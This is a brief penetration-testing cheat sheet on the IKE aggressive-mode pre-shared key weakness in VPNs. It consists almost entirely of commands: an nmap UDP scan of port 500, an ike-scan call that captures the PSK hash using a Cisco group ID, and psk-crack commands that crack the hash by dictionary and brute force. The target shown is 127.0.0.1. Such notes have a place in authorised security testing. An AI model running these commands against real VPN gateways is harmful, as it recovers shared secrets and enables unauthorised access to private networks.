Check VPN IKE Pre-Shared Key vulnerability

Scan it:
#nmap -Pn -Av -sU -p 500 127.0.0.1

Obtain the pre-shared key:
#ike-scan -M 127.0.0.1 -A --id=:cisco -Pvpn1.psk

Crack it:
#psk-crack ./vpn1.psk
#psk-crack --bruteforce=10 --charset=0123456789abcdefghijklmnopqrstuvwxyz ./vpn1.psk